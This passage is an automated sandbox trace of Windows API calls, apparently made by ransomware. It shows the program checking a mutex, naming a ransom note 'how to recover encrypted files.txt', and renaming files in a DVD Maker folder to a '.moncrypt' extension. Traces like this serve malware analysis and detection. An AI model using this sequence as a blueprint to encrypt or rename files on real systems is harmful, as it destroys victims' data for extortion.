lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.304] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.304] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.304] GlobalUnlock (hMem=0x440004) returned 0 [0058.304] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.304] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.304] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.304] GlobalUnlock (hMem=0x440004) returned 0 [0058.304] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.304] GlobalUnlock (hMem=0x44000c) returned 0 [0058.304] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.304] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0058.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png", cchWideChar=88, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.pngi", lpUsedDefaultChar=0x0) returned 88 [0058.305] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Rectangles\\NavigationRight_ButtonGraphic.pngi", lpUsedDefaultChar=0x0) returned 4 [0058.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.306] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.306] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.306] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.306] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.306] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0058.307] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.307] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.307] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.307] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.307] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.307] GlobalUnlock (hMem=0x44000c) returned 0 [0058.307] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.307] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.307] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.307] GlobalUnlock (hMem=0x44000c) returned 0 [0058.307] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.307] GlobalUnlock (hMem=0x440004) returned 0 [0058.307] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.307] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0058.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png", cchWideChar=94, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.pngs", lpUsedDefaultChar=0x0) returned 94 [0058.309] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 